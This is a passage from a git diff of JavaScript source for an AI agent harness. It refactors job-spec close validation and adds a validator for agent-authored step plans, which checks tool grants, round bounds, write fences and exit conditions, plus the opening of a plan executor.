the seam, and against `node --test` - // so are the raw counts (a crashed file is reported as ONE failing test). - // So the signal is a FLOOR, not a zero-check: a close declares how many - // things it must judge before its exit code means anything at all. - if (close.judged !== undefined) { - const j = close.judged; - if (!isObj(j)) red('invalid-value', `${at}.close.judged`, 'object {pattern, min} — proof the close actually judged something'); - else { - for (const key of Object.keys(j)) { - if (!['pattern', 'min'].includes(key)) red('unknown-field', `${at}.close.judged.${key}`); - } - if (!isNonEmptyString(j.pattern)) red('missing-required', `${at}.close.judged.pattern`, 'regex over the close output with ONE capture group yielding the count'); - else { - let groups = 0; - try { - // `p|` always matches the empty string, so exec() returns an array - // whose length is 1 + the number of capture groups — the only way - // to count groups without executing the pattern against real output. - groups = (new RegExp(`${j.pattern}|`).exec('')?.length ?? 1) - 1; - } catch { - red('invalid-value', `${at}.close.judged.pattern`, 'must compile as a RegExp'); - groups = -1; - } - // A pattern with no capture group extracts nothing, so EVERY close - // would read as crashed — a dead arbiter that reds forever. Red the - // spec, not every run. - if (groups === 0) red('invalid-value', `${at}.close.judged.pattern`, 'no capture group — the count is read from group 1, so this pattern would crash every close'); - // More than one is the same defect wearing a subtler hat: runClose - // reads group 1 ONLY, so an alternation whose other branch carries - // the count leaves group 1 undefined → NaN → judgedCount null → - // an exit-0 GREEN stamped 'crashed' (a fake crash, the mirror of - // the fake green this floor exists to catch). Alternation stays - // fully expressible with non-capturing branches: `(?:a|b) (\d+)`. - else if (groups > 1) red('invalid-value', `${at}.close.judged.pattern`, `${groups} capture groups — the count is read from group 1 only; use exactly one capture group and non-capturing (?:…) branches`); - } - if (!Number.isInteger(j.min) || j.min < 1) { - red('invalid-value', `${at}.close.judged.min`, 'integer >= 1 — a floor of 0 is satisfied by judging nothing, which is the check it is meant to make'); - } - } - } - // The kept-failures pattern (F28, optional). ralph's gap bound head/tail- - // elides a large close stream, and a big TAP suite prints its `not ok` - // lines in the MIDDLE — so the failing-test NAMES (the causal navigation - // input the worker runs on) were deleted in transit and the worker was - // told "5 fail" and never WHICH. gapKeep is a regex SOURCE whose matching - // lines are PRESERVED in the gap in addition to head+tail. Same discipline - // as judged.pattern: a non-empty string that must compile as a RegExp, or - // it is a spec red before any tokens burn (reds-before-tokens) — an invalid - // keep pattern must never surface as a runtime crash inside the arbiter. - if (close.gapKeep !== undefined) { - if (!isNonEmptyString(close.gapKeep)) red('invalid-value', `${at}.close.gapKeep`, 'regex source string — lines matching it survive the gap bound (F28)'); - else { - try { new RegExp(close.gapKeep, 'm'); } - catch { red('invalid-value', `${at}.close.gapKeep`, 'must compile as a RegExp'); } - } - } - } else if (close.type === 'gold') { - if (close.expected === undefined) red('missing-required', `${at}.close.expected`); - if (!GOLD_COMPARE.includes(close.compare)) red('invalid-value', `${at}.close.compare`, GOLD_COMPARE.join('|')); - } else if (close.type === 'rubric') { - if (!isNonEmptyString(close.criteria)) red('missing-required', `${at}.close.criteria`); - } else if (close.type === 'hitl') { - if (!isNonEmptyString(close.prompt)) red('missing-required', `${at}.close.prompt`); - } - for (const key of Object.keys(close)) { - if (!CLOSE_FIELDS[close.type].includes(key)) { - red('unknown-field', `${at}.close.${key}`, `not a ${close.type} field (script bodies and minting claims land here)`); - } - } + if (!validateClose(close, `${at}.close`, red)) return; // the hierarchy: one check covers both directions — a class outside the // close type's menu is laundering (rubric-as-hard) or delegation // (hitl-class on a script close); hitl ⇔ hitl falls out of the menus. @@ -309,6 +259,194 @@ export function validateJob(input, { shellCapUsd = 2 } = {}) { return { ok: reds.length === 0, reds, job: reds.length === 0 ? spec : null }; } +/** + * Per-type close contract — fixed menus only. ONE home for both call sites + * (a legacy step's close, the plan shape's top-level close): two copies would + * be the F9 two-transforms class on the arbiter's own contract. + * @param {Record} close + * @param {string} at path prefix of the close object (e.g. `steps.0.close`, `close`) + * @param {(code: string, path: string, detail?: string) => void} red + * @returns {boolean} type-in-menu — false means per-type checks were unreachable + */ +function validateClose(close, at, red) { + if (!CLOSE_TYPES.includes(close.type)) { + red('close-type', `${at}.type`, `menu: ${CLOSE_TYPES.join('|')} — a close is data, never code`); + return false; + } + if (close.type === 'predicate') { + predicateBody(close, at, red); + } else if (close.type === 'gold') { + if (close.expected === undefined) red('missing-required', `${at}.expected`); + if (!GOLD_COMPARE.includes(close.compare)) red('invalid-value', `${at}.compare`, GOLD_COMPARE.join('|')); + } else if (close.type === 'rubric') { + if (!isNonEmptyString(close.criteria)) red('missing-required', `${at}.criteria`); + } else if (close.type === 'hitl') { + if (!isNonEmptyString(close.prompt)) red('missing-required', `${at}.prompt`); + } + for (const key of Object.keys(close)) { + if (!CLOSE_FIELDS[close.type].includes(key)) { + red('unknown-field', `${at}.${key}`, `not a ${close.type} field (script bodies and minting claims land here)`); + } + } + return true; +} + +/** + * The predicate BODY contract — cmd/expect/judged/gapKeep. Shared verbatim by + * the predicate close and the Layer 2 named checks (decision 1: a check runs + * under the same runClose machinery, so it validates under the same rules). + * @param {Record} o the close or check carrying the body + * @param {string} at path prefix (e.g. `steps.0.close`, `close`, `checks.1`) + * @param {(code: string, path: string, detail?: string) => void} red + */ +function predicateBody(o, at, red) { + if (!isNonEmptyString(o.cmd)) red('missing-required', `${at}.cmd`); + // the runner executes cmd as whitespace-split argv with NO shell: quote + // characters imply shell semantics the split cannot honor — honest + // refusal beats silent misparse (N2 design default) + else if (/["']/.test(o.cmd)) red('invalid-value', `${at}.cmd`, 'quote characters are inexpressible: cmd runs as whitespace-split argv, no shell'); + else if (o.cmd !== o.cmd.trim()) red('invalid-value', `${at}.cmd`, 'leading/trailing whitespace — argv splits on whitespace and an empty argv[0] cannot spawn; honest refusal beats a silent misparse'); + if (!Number.isInteger(o.expect)) red('invalid-value', `${at}.expect`, 'integer exit code'); + // The judgment-rendered signal (PRD v1.11, optional). Exit code alone + // cannot separate "the suite ran and failed" from "the suite crashed at + // load" — they are byte-identical at the seam, and against `node --test` + // so are the raw counts (a crashed file is reported as ONE failing test). + // So the signal is a FLOOR, not a zero-check: a close declares how many + // things it must judge before its exit code means anything at all. + if (o.judged !== undefined) { + const j = o.judged; + if (!isObj(j)) red('invalid-value', `${at}.judged`, 'object {pattern, min} — proof the close actually judged something'); + else { + for (const key of Object.keys(j)) { + if (!['pattern', 'min'].includes(key)) red('unknown-field', `${at}.judged.${key}`); + } + if (!isNonEmptyString(j.pattern)) red('missing-required', `${at}.judged.pattern`, 'regex over the close output with ONE capture group yielding the count'); + else { + let groups = 0; + try { + // `p|` always matches the empty string, so exec() returns an array + // whose length is 1 + the number of capture groups — the only way + // to count groups without executing the pattern against real output. + groups = (new RegExp(`${j.pattern}|`).exec('')?.length ?? 1) - 1; + } catch { + red('invalid-value', `${at}.judged.pattern`, 'must compile as a RegExp'); + groups = -1; + } + // A pattern with no capture group extracts nothing, so EVERY close + // would read as crashed — a dead arbiter that reds forever. Red the + // spec, not every run. + if (groups === 0) red('invalid-value', `${at}.judged.pattern`, 'no capture group — the count is read from group 1, so this pattern would crash every close'); + // More than one is the same defect wearing a subtler hat: runClose + // reads group 1 ONLY, so an alternation whose other branch carries + // the count leaves group 1 undefined → NaN → judgedCount null → + // an exit-0 GREEN stamped 'crashed' (a fake crash, the mirror of + // the fake green this floor exists to catch). Alternation stays + // fully expressible with non-capturing branches: `(?:a|b) (\d+)`. + else if (groups > 1) red('invalid-value', `${at}.judged.pattern`, `${groups} capture groups — the count is read from group 1 only; use exactly one capture group and non-capturing (?:…) branches`); + } + if (!Number.isInteger(j.min) || j.min < 1) { + red('invalid-value', `${at}.judged.min`, 'integer >= 1 — a floor of 0 is satisfied by judging nothing, which is the check it is meant to make'); + } + } + } + // The kept-failures pattern (F28, optional). ralph's gap bound head/tail- + // elides a large close stream, and a big TAP suite prints its `not ok` + // lines in the MIDDLE — so the failing-test NAMES (the causal navigation + // input the worker runs on) were deleted in transit and the worker was + // told "5 fail" and never WHICH. gapKeep is a regex SOURCE whose matching + // lines are PRESERVED in the gap in addition to head+tail. Same discipline + // as judged.pattern: a non-empty string that must compile as a RegExp, or + // it is a spec red before any tokens burn (reds-before-tokens) — an invalid + // keep pattern must never surface as a runtime crash inside the arbiter. + if (o.gapKeep !== undefined) { + if (!isNonEmptyString(o.gapKeep)) red('invalid-value', `${at}.gapKeep`, 'regex source string — lines matching it survive the gap bound (F28)'); + else { + try { new RegExp(o.gapKeep, 'm'); } + catch { red('invalid-value', `${at}.gapKeep`, 'must compile as a RegExp'); } + } + } +} + +/** + * The four-field plan shape (design record 2026-07-21, decision 5): goal / + * verdictType / close / checks[] (+ the top-level tool ceiling). v1 admits + * only verdictType `green`; soft-green/hitl are declared-but-locked and red + * as `request-red` — admission demand the ledger counts, never a grant. + * @param {Record} spec + * @param {(code: string, path: string, detail?: string) => void} red + * @param {Red[]} reds direct access for structured request-reds + */ +function validatePlanShape(spec, red, reds) { + if (spec.goal === undefined) red('missing-required', 'goal'); + else if (!isNonEmptyString(spec.goal)) red('invalid-value', 'goal', 'non-empty text — the goal is what the agent plans against'); + + /** @type {string|undefined} the close class the declared verdict demands */ + let demanded; + if (spec.verdictType === undefined) red('missing-required', 'verdictType', `declared radio, never inferred: ${VERDICT_TYPES.join('|')}`); + else if (LOCKED_VERDICTS.includes(spec.verdictType)) { + // declared-but-locked (disclosure ≠ admission, the tool-menu pattern): + // the type rides as a structured field — the ledger keys admission demand + // on it, never on prose + reds.push({ code: 'request-red', path: 'verdictType', verb: spec.verdictType, detail: `"${spec.verdictType}" is declared-but-locked — not at this rung (v1 admits green only); this red IS the admission evidence, never a grant` }); + demanded = CLASS_BY_VERDICT[spec.verdictType]; + } else if (!VERDICT_TYPES.includes(spec.verdictType)) { + red('invalid-value', 'verdictType', `menu: ${VERDICT_TYPES.join('|')} — an unknown type is a typo, never a request`); + } else { + demanded = CLASS_BY_VERDICT[spec.verdictType]; + } + + if (spec.close === undefined) red('missing-required', 'close', 'declared green with nothing to run it — preflight validates the declaration, never infers'); + else if (!isObj(spec.close)) red('invalid-value', 'close', 'a close object (type + its fixed fields)'); + else if (validateClose(spec.close, 'close', red) && demanded !== undefined + && !CLASS_BY_CLOSE[spec.close.type].includes(demanded)) { + // the hierarchy one level up: the declared verdict demands a close class + // its close type cannot legally claim (green-on-rubric is laundering) + red('close-hierarchy', 'verdictType', `verdictType ${spec.verdictType} demands a ${demanded}-class close; ${spec.close.type} admits ${CLASS_BY_CLOSE[spec.close.type].join('|')} only (a rubric can never be hard — PRD §7)`); + } + + if (spec.checks !== undefined) { + if (!Array.isArray(spec.checks) || spec.checks.length === 0) { + red('invalid-value', 'checks', 'non-empty array of named checks — omit the field when the job signs none'); + } else { + const seen = new Set(); + spec.checks.forEach((/** @type {any} */ c, /** @type {number} */ i) => { + const at = `checks.${i}`; + if (!isObj(c)) { red('invalid-value', at, 'a check must be an object'); return; } + for (const key of Object.keys(c)) { + if (!CHECK_FIELDS.includes(key)) red('unknown-field', `${at}.${key}`, 'not a check field (script bodies land here)'); + } + if (!isNonEmptyString(c.name) || !SLUG_RE.test(c.name)) red('invalid-value', `${at}.name`, 'kebab-case slug — the plan references checks by name (check-passes(name))'); + else if (seen.has(c.name)) red('duplicate-id', `${at}.name`, c.name); + else seen.add(c.name); + predicateBody(c, at, red); + }); + } + } + + // the tool CEILING (plan-v1 anchor: every plan step's verbs ⊆ this) — same + // grant rules as a step's tools; run stays locked-but-listed (request-red) + if (spec.tools !== undefined) { + if (!(Array.isArray(spec.tools) && spec.tools.length > 0 + && spec.tools.every((/** @type {unknown} */ t) => typeof t === 'string') + && new Set(spec.tools).size === spec.tools.length)) { + red('invalid-value', 'tools', `non-empty unique subset of ${TOOL_MENU.join('|')}`); + } else { + for (const t of spec.tools.filter((/** @type {string} */ t) => LOCKED_TOOLS.includes(t))) { + reds.push({ code: 'request-red', path: 'tools', verb: t, detail: `"${t}" is locked-but-listed — this red IS the admission evidence, never a grant; granted menu: ${TOOL_MENU.join('|')}` }); + } + const unknown = spec.tools.filter((/** @type {string} */ t) => !TOOL_MENU.includes(t) && !LOCKED_TOOLS.includes(t)); + if (unknown.length) red('invalid-value', 'tools', `unknown tool(s) ${unknown.join(', ')} — menu: ${TOOL_MENU.join('|')}`); + // a plan-shape ceiling must grant ≥1 READ-capable verb (review #8): the + // scout surveys read-only (the write-class verbs are filtered out of its + // menu), so a write-only ceiling hands the scout an EMPTY menu and it + // surveys blind — a degradation the validator catches at sign time. + else if (!spec.tools.some((/** @type {string} */ t) => TOOL_MENU.includes(t) && !['write', 'edit'].includes(t))) { + red('invalid-value', 'tools', 'a plan-shape ceiling must grant ≥1 read-capable verb (read/grep/recall/get) — the scout surveys read-only; a write-only ceiling leaves it blind'); + } + } + } +} + /** * Canonical JSON — recursive key sort, so the hash binds to CONTENT, not to * the accident of key order a drafting UX or an editor produced. diff --git a/src/plan.js b/src/plan.js new file mode 100644 index 0000000..52180f0 --- /dev/null +++ b/src/plan.js @@ -0,0 +1,237 @@ +// plan-v1 validator — the AGENT-authored half of the two-doc story (Layer 2, +// design record 2026-07-21; PRD v1.12). The plan is the ONLY document the +// emergent middle authors: an ordered list of bounded steps, each with a tool +// grant, a rounds bound, a deliverable target, and a form-check exit. This +// validator gates it before tokens burn, against the SIGNED job spec: +// +// verbs ⊆ the spec's tool ceiling → `verb-escape` (the ceiling +// exists and the plan overreached — distinct from the operator-side +// `request-red`, which is admission demand against the product menu) +// bounds ≤ the shell caps → `bounds` +// scopes/targets inside the signed fence → `scope-escape` / `invalid-value` +// exits from the closed menu only → `exit-illegal` (arbiter +// inexpressibility: an exit is declarative data the shell evaluates with +// its own fixed code — `run` cannot be laundered through it) +// check references resolve against the SIGNED checks menu → `check-unknown` +// (decision 1: a check the spec doesn't sign does not exist) +// +// Like its siblings (validate.js, job.js) it never throws on JSON text or +// plain parsed data; every failure is a named {code, path, detail} red. + +import { TOOL_MENU, LOCKED_TOOLS } from './job.js'; +import { globToPrefix, scopeContained, isObj, isNonEmptyString, sweepSecretLiterals } from './validate.js'; + +/** the closed exit menu (PRD v1.12 §3 + decision 1's `check-passes`): the + * shell evaluates every form with its own fixed code, never a command — the + * same both-directions inexpressibility guard as the two-validator split */ +export const EXIT_TYPES = Object.freeze(['artifact-written', 'tree-changed', 'json-valid', 'check-passes']); +/** decision 8: AND-only conjunction, bounded — no OR (a weak arm would + * launder the exit), no NOT */ +export const MAX_EXITS_PER_STEP = 2; +/** plan size bound — per-step rounds bound the spend, but an unbounded step + * COUNT is still an unbounded claim on the wallet; same 8 as loop.maxIterations */ +export const MAX_PLAN_STEPS = 8; +/** the write-class verbs (BA-13: `edit` is judged by the same fence as + * `write`) — a step granting one is a WRITE step for the F17 pairing rule + * and the v1.18 target requirement */ +export const WRITE_VERBS = Object.freeze(['write', 'edit']); +const PLAN_FIELDS = ['schema', 'steps']; +// decision 7: NO dependsOn — v1 is strictly sequential, array order IS the +// order; a field nothing consumes is a live-looking knob with zero effect +// (the F16 inert-op class). The arbiter's own vocabulary (close, budget, +// fence) is absent by construction — unknown-field at every depth. +const STEP_FIELDS = ['id', 'action', 'tools', 'rounds', 'target', 'exit']; +const EXIT_FIELDS = { + 'artifact-written': ['type', 'path', 'pattern'], + 'tree-changed': ['type', 'scope'], + 'json-valid': ['type', 'path'], + 'check-passes': ['type', 'name'], +}; +const SLUG_RE = /^[a-z0-9][a-z0-9-]*$/; + +/** @typedef {{code: string, path: string, detail?: string, verb?: string}} Red */ + +/** + * Validate an agent-authored plan (`schema: "plan-v1"`) against the SIGNED + * job spec. Never throws on JSON text or plain parsed data; every failure is + * a named red. Returns the parsed plan on ok (single parse), null on any red. + * @param {object|string} input parsed plan, or raw JSON text (parse failures are a red) + * @param {{ job?: any, maxStepRounds?: number }} [opts] `job`: the + * validateJob-GREEN four-field spec (the ceiling, the fence, and the checks + * menu all come from it — a missing or non-plan-shape job fails CLOSED); + * `maxStepRounds`: the shell's per-step rounds ceiling (interpret's + * tool-mode TURNS_PER_ATTEMPT) — a step may tighten it, never exceed it. + * @returns {{ ok: boolean, reds: Red[], plan: object|null }} + */ +export function validatePlan(input, { job, maxStepRounds = 40 } = {}) { + /** @type {Red[]} */ + const reds = []; + /** @type {(code: string, path: string, detail?: string) => void} */ + const red = (code, path, detail) => { reds.push(detail ? { code, path, detail } : { code, path }); }; + + // The signed side, fail-CLOSED (the validate.js fence-invalid pattern): the + // ceiling/fence/menu are meaningless without a plan-shape spec, and an open + // gate on a malformed one would validate a plan against nothing. + if (!isObj(job) || !isNonEmptyString(/** @type {any} */ (job).goal) || !Array.isArray(/** @type {any} */ (job).writeScope)) { + return { ok: false, reds: [{ code: 'job-invalid', path: 'job', detail: 'a plan validates only against a validateJob-green plan shape spec (goal/verdictType/close/checks[]) — validate the job first' }], plan: null }; + } + const spec = /** @type {Record} */ (job); + /** the signed tool ceiling — validateJob permits omission, meaning the full menu */ + const ceiling = Array.isArray(spec.tools) ? spec.tools : [...TOOL_MENU]; + const fence = spec.writeScope.map(globToPrefix); + const insideFence = (/** @type {string} */ p) => fence.some((f) => p === f || p.startsWith(f + '/')); + const checkNames = Array.isArray(spec.checks) ? spec.checks.map((/** @type {any} */ c) => c?.name).filter(isNonEmptyString) : []; + + let p = input; + if (typeof p === 'string') { + try { p = JSON.parse(p); } catch (e) { + return { ok: false, reds: [{ code: 'parse-error', path: '$', detail: String(/** @type {Error} */ (e).message) }], plan: null }; + } + } + if (!isObj(p)) return { ok: false, reds: [{ code: 'parse-error', path: '$', detail: 'plan must be a JSON object' }], plan: null }; + const plan = /** @type {Record} */ (p); + + // 1. shape — unknown top-level fields red (a smuggled close/checks/budget + // lands here: the arbiter is inexpressible in the plan vocabulary) + for (const key of Object.keys(plan)) { + if (!PLAN_FIELDS.includes(key)) red('unknown-field', key, 'the plan vocabulary is steps only — the arbiter (close/budget/fence/checks) is signed, never planned'); + } + if (plan.schema === undefined) red('missing-required', 'schema'); + else if (plan.schema !== 'plan-v1') red('invalid-value', 'schema', `expected "plan-v1", got ${JSON.stringify(plan.schema)}`); + + // 2. steps — ordered array (decision 7: order IS the order), bounded count + if (!Array.isArray(plan.steps) || plan.steps.length === 0) { + red('missing-required', 'steps', 'non-empty ordered array — v1 executes strictly sequentially, array order is the order'); + } else if (plan.steps.length > MAX_PLAN_STEPS) { + red('bounds', 'steps', `max ${MAX_PLAN_STEPS} steps — per-step rounds bound the spend, the step count bounds the claim on the wallet`); + } else { + const seen = new Set(); + plan.steps.forEach((/** @type {any} */ s, /** @type {number} */ i) => { + const at = `steps.${i}`; + if (!isObj(s)) { red('invalid-value', at, 'step must be an object'); return; } + for (const key of Object.keys(s)) { + if (!STEP_FIELDS.includes(key)) red('unknown-field', `${at}.${key}`, key === 'dependsOn' ? 'no dependsOn in v1 — strictly sequential, array order is the order (an inert knob is a fake contrast lever)' : 'not a step field — the arbiter is inexpressible here'); + } + if (!isNonEmptyString(s.id) || !SLUG_RE.test(s.id)) red('invalid-value', `${at}.id`, 'kebab-case slug'); + else if (seen.has(s.id)) red('duplicate-id', `${at}.id`, s.id); + else seen.add(s.id); + + if (!isNonEmptyString(s.action)) red('missing-required', `${at}.action`, 'the step\'s task text — a step without one is an unaimed worker'); + + // tools ⊆ the SIGNED ceiling: a verb beyond it is verb-escape with the + // verb as structured data (the ledger counts overreach per verb) — an + // unknown string stays a typo (invalid-value), never an escape + let writeStep = false; + if (s.tools === undefined) red('missing-required', `${at}.tools`, 'every step declares its grant — the narrowed menu is the step boundary'); + else if (!(Array.isArray(s.tools) && s.tools.length > 0 + && s.tools.every((/** @type {unknown} */ t) => typeof t === 'string') + && new Set(s.tools).size === s.tools.length)) { + red('invalid-value', `${at}.tools`, `non-empty unique subset of the spec ceiling [${ceiling.join(', ')}]`); + } else { + // three disjoint classes: a LOCKED verb (run — never in any ceiling) is + // an escape the ledger must never bury as a typo; a menu verb outside + // the SIGNED ceiling is an escape too (overreach, not admission demand); + // a string in neither list is a typo (invalid-value) + const unknown = s.tools.filter((/** @type {string} */ t) => !TOOL_MENU.includes(t) && !LOCKED_TOOLS.includes(t)); + if (unknown.length) red('invalid-value', `${at}.tools`, `unknown tool(s) ${unknown.join(', ')} — menu: ${TOOL_MENU.join('|')}`); + for (const t of s.tools.filter((/** @type {string} */ t) => LOCKED_TOOLS.includes(t))) { + reds.push({ code: 'verb-escape', path: `${at}.tools`, verb: t, detail: `"${t}" is locked at every layer — a worker that can run commands can run its own close` }); + } + for (const t of s.tools.filter((/** @type {string} */ t) => TOOL_MENU.includes(t) && !ceiling.includes(t))) { + reds.push({ code: 'verb-escape', path: `${at}.tools`, verb: t, detail: `"${t}" is outside the signed ceiling [${ceiling.join(', ')}] — the plan may narrow the grant, never widen it` }); + } + writeStep = s.tools.some((/** @type {string} */ t) => WRITE_VERBS.includes(t)); + } + + // rounds ≤ the shell cap (cap-not-estimate; the step bound IS maxTurns) + if (!(Number.isInteger(s.rounds) && s.rounds >= 1 && s.rounds <= maxStepRounds)) { + red('bounds', `${at}.rounds`, `integer 1..${maxStepRounds} — the step bound is the Gate's maxTurns, it may tighten the shell cap, never exceed it`); + } + + // target (v1.18): the per-step deliverable — required on write steps, + // always inside the signed fence when present + if (s.target === undefined || s.target === '') { + if (writeStep) red('missing-required', `${at}.target`, 'a write-granted step declares its deliverable path (v1.18) — an untargeted write step is unattributable'); + } else if (!isNonEmptyString(s.target) || !scopeContained(s.target)) { + red('invalid-value', `${at}.target`, 'a relative path inside the run dir — no absolute paths, no ".." segments'); + } else if (!insideFence(globToPrefix(s.target))) { + red('scope-escape', `${at}.target`, `"${s.target}" is outside the signed fence [${spec.writeScope.join(', ')}]`); + } + + validateExit(s, at, red, { checkNames, fence: spec.writeScope, insideFence, writeStep }); + }); + } + + // 3. secrets sweep — the agent-authored document is the riskier entry point + sweepSecretLiterals(plan, red); + + return { ok: reds.length === 0, reds, plan: reds.length === 0 ? plan : null }; +} + +/** + * A step's exit: AND-only conjunction from the closed menu, max 2 (decision + * 8). Every form is declarative data the shell evaluates with its own fixed + * code — `exit-illegal` is the arbiter-inexpressibility red. + * @param {Record} s the step + * @param {string} at step path prefix + * @param {(code: string, path: string, detail?: string) => void} red + * @param {{ checkNames: string[], fence: string[], insideFence: (p: string) => boolean, writeStep: boolean }} ctx + */ +function validateExit(s, at, red, { checkNames, fence, insideFence, writeStep }) { + if (!Array.isArray(s.exit) || s.exit.length === 0) { + red('missing-required', `${at}.exit`, `non-empty array from the closed menu ${EXIT_TYPES.join('|')} — ALL listed exits must pass (AND-only); a step without an exit has no progress gate`); + return; + } + if (s.exit.length > MAX_EXITS_PER_STEP) { + red('exit-illegal', `${at}.exit`, `max ${MAX_EXITS_PER_STEP} exits — AND-only conjunction, bounded (decision 8)`); + return; + } + let hasTreeChanged = false; + let hasCheck = false; + s.exit.forEach((/** @type {any} */ e, /** @type {number} */ i) => { + const eAt = `${at}.exit.${i}`; + if (!isObj(e) || !EXIT_TYPES.includes(e.type)) { + red('exit-illegal', eAt, `menu: ${EXIT_TYPES.join('|')} — an exit is declarative data the shell evaluates with its own fixed code, never a command`); + return; + } + for (const key of Object.keys(e)) { + if (!EXIT_FIELDS[e.type].includes(key)) red('unknown-field', `${eAt}.${key}`, `not a ${e.type} field (commands and script bodies land here)`); + } + if (e.type === 'check-passes') { + hasCheck = true; + if (!isNonEmptyString(e.name)) red('invalid-value', `${eAt}.name`, 'the signed check\'s name'); + else if (!checkNames.includes(e.name)) { + // decision 1: a check the spec doesn't sign DOES NOT EXIST — and the + // detail names the signed menu so the replan can aim, not guess + red('check-unknown', eAt, `"${e.name}" is not a signed check — the agent references checks, never authors them; signed menu: [${checkNames.join(', ') || 'none'}]`); + } + } else if (e.type === 'tree-changed') { + hasTreeChanged = true; + if (!isNonEmptyString(e.scope) || !scopeContained(e.scope) || globToPrefix(e.scope).includes('*')) { + red('invalid-value', `${eAt}.scope`, 'a contained scope (trailing /** or /* only, no ".." or absolute)'); + } else if (!insideFence(globToPrefix(e.scope))) { + red('scope-escape', `${eAt}.scope`, `"${e.scope}" is outside the signed fence [${fence.join(', ')}]`); + } + } else { // artifact-written | json-valid — a named file path inside the fence + if (!isNonEmptyString(e.path) || !scopeContained(e.path)) { + red('invalid-value', `${eAt}.path`, 'a relative file path inside the run dir — no absolute paths, no ".." segments'); + } else if (!insideFence(globToPrefix(e.path))) { + red('scope-escape', `${eAt}.path`, `"${e.path}" is outside the signed fence [${fence.join(', ')}]`); + } + if (e.type === 'artifact-written' && e.pattern !== undefined) { + if (!isNonEmptyString(e.pattern)) red('invalid-value', `${eAt}.pattern`, 'regex source string'); + else { + try { new RegExp(e.pattern, 'm'); } + catch { red('invalid-value', `${eAt}.pattern`, 'must compile as a RegExp'); } + } + } + } + }); + // The F17 pairing rule: the seed tree is green, so a lone check-passes on a + // write-granted step would pass on the UNTOUCHED repo — an unearned exit. + // The POC's changed-from-seed stage existed for exactly this; here it is a + // validation law, stated in the plan itself (never hardwired shell code). + if (writeStep && hasCheck && !hasTreeChanged) { + red('exit-illegal', `${at}.exit`, 'check-passes on a write-granted step requires the tree-changed conjunct — the seed tree is green, so a lone check would pass on the untouched repo (F17/F46 already-green trap)'); + } +} diff --git a/src/planrun.js b/src/planrun.js new file mode 100644 index 0000000..0ffaa73 --- /dev/null +++ b/src/planrun.js @@ -0,0 +1,677 @@ +// Layer 2 executor — the plan-v1 run, end to end (PRD v1.12; design record +// 2026-07-21). SCOUT (read-only, hard-bounded) → PLAN (the decompose call, +// gated by validatePlan before tokens burn) → EXECUTE (per-step micro-loops: +// the same ralph(), judge = the exit evaluator — the F46 mechanism) → ONE +// replan → the operator's close, the only truth. The checks referenced by +// `check-passes` run under the FULL runClose machinery (forbidden zone, +// judged floor, redaction, gapKeep); they decide nothing and mint nothing — +// a check result is a progress gate and a gap source, nothing more. +// +// Prompt contract (v1.12 §5), held here: a step worker sees its action, the +// absolute repo root, its target, prior steps' artifacts labeled by id, its +// gap, and a cut-off notice. It NEVER sees the budget, the close command, a +// check's command, the validator, other steps' grants, or the arbiter's books +// (fs.deny on the gate audit / .smoke / .litectx, unchanged). + +import { createRequire } from 'node:module'; +import { readFileSync } from 'node:fs'; +import { join, resolve } from 'node:path'; +import { Gate, redact } from 'bareguard'; +import { LiteCtx } from 'litectx'; +import { runClose, ralph, CLOSE_FAULTS } from './ralph.js'; +import { validatePlan } from './plan.js'; +import { WRITE_VERBS, EXIT_TYPES, MAX_EXITS_PER_STEP, MAX_PLAN_STEPS } from './plan.js'; +import { snapshotScope, evalExits } from './exits.js'; +import { TOOL_MENU } from './job.js'; +import { TOOL_BY_VERB, CTX_TOOLS, createCtxTools, toolAction, PERSONA_TOOLS, RETRIEVAL_STRATEGY, EDIT_STRATEGY } from './interpret.js'; +import { globToPrefix, SECRET_PATTERNS } from './validate.js'; +import { extractArtifact } from './text.js'; + +const require = createRequire(import.meta.url); +const { Loop, wireGate, HaltError } = require('bare-agent'); +const { createShellTools } = require('bare-agent/tools'); + +/** the scout's hard round bound — read-only survey, never a worker (v1.12 §1) */ +const SCOUT_ROUNDS = 8; +/** blob bound: the scout's output is a PROMPT ingredient for every later call */ +const SCOUT_BLOB_MAX = 8000; +/** + * NATIVE-ONLY read cap (F48/BA-16). On the clipipe-subscription surface the claude CLI + * TRUNCATES a large tool result before the model ever sees it (~40-50KB / ~line 550, + * measured), spilling the remainder to a `~/.claude/.../tool-results/` file the fence denies + * AND wrapping it in a "read this in chunks" notice the model correctly distrusts as prompt + * injection — so a whole-file `shell_read` of a large file blinds the worker (0-write stall, + * F48). We bound OUR read result below the CLI cap and hand back a TRUSTED notice steering to + * `ctx_get` (ranged retrieval survives the cap: one function per fetch). API path is untouched + * — there the full result rides straight into context, so no cap and RETRIEVAL_STRATEGY alone. + */ +const NATIVE_READ_CAP = 24 * 1024; +/** native-only strategy: tell the worker WHY whole-file reads fail here and to navigate by symbol */ +const NATIVE_READ_STRATEGY = '\nINTERFACE LIMIT: on this surface a whole-file read of a large file is TRUNCATED before you see it — a shell_read of a file over ~24KB returns only its start followed by a truncation notice. This is NOT the whole file. To read a function IN FULL, always use ctx_recall() then ctx_get() — that returns the entire function no matter how large the file is. To locate a line, use shell_grep(). Never try to understand a file over ~400 lines by reading it whole; recall its symbols instead.'; +/** feed-forward artifact bound per step (prompt ingredient, spine-bound) */ +const ARTIFACT_MAX = 2000; +/** the wallet floor below which a replan is a stop, not an adaptation (review + * #5): a money-gate halt drains the wallet to ~0, so replanning against dust + * just burns another draft and mislabels the money-cut as "exits still red" + * (F45 class) — the honest terminal there is cap-halt. */ +const MONEY_MIN = 0.001; + +/** @typedef {Error & {category?: string, lib?: string}} CategorizedError */ + +/** + * The plan-drafting prompt: a schema DESCRIPTION built from the live validator + * menus — never a copyable example (the drafter must author, not echo; the + * run.js draftPrompt precedent). Check NAMES only: a check's command is + * arbiter territory the planner never sees. + * @param {any} job @param {string} scoutBlob @param {any[]|null} reds + * @param {number} maxStepRounds @param {string|null} failure replan context + */ +function planPrompt(job, scoutBlob, reds, maxStepRounds, failure) { + const ceiling = Array.isArray(job.tools) ? job.tools : [...TOOL_MENU]; + const checkNames = (job.checks ?? []).map((/** @type {any} */ c) => c.name); + const doc = `DRAFT-PLAN +You are planning how to accomplish a goal in a repository, as an ordered list of bounded +steps (schema "plan-v1"). The plan is pure declarative JSON validated by a strict schema; +ANY unknown field, wrong enum value, or out-of-bounds number is rejected. Output ONLY the +JSON object, no fences, no commentary. + +Shape: { "schema": "plan-v1", "steps": [ ... 1..${MAX_PLAN_STEPS} steps ... ] } — steps run +strictly in array order. Each step (no other fields exist): +- "id": kebab-case slug, unique +- "action": the step's task, precise enough for a worker that sees ONLY this step +- "tools": non-empty unique subset of ${JSON.stringify(ceiling)} (write/edit 